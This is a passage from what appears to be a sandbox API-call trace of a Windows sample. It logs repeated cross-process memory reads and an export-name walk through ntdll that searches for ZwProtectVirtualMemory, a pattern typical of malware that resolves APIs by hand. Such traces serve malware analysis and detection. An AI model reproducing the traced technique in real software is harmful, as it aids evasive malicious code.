BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.596] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.597] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.598] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.599] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.600] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.601] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.602] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.603] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.604] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.648] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwProtectVirtualMemory") returned -1 [0142.648] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="DbgPrint", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwProtectVirtualMemory") returned -1 [0142.649] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.650] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwProtectVirtualMemory") returned -1 [0142.651] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.652] lstrcmpA (lpString1="LdrGetDllPath", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwProtectVirtualMemory") returned -1 [0142.653] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrResolveDelayLoadedAPI", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="ZwProtectVirtualMemory") returned -1 [0142.654] lstrcmpA (lpString1="LdrSetDllDirectory", 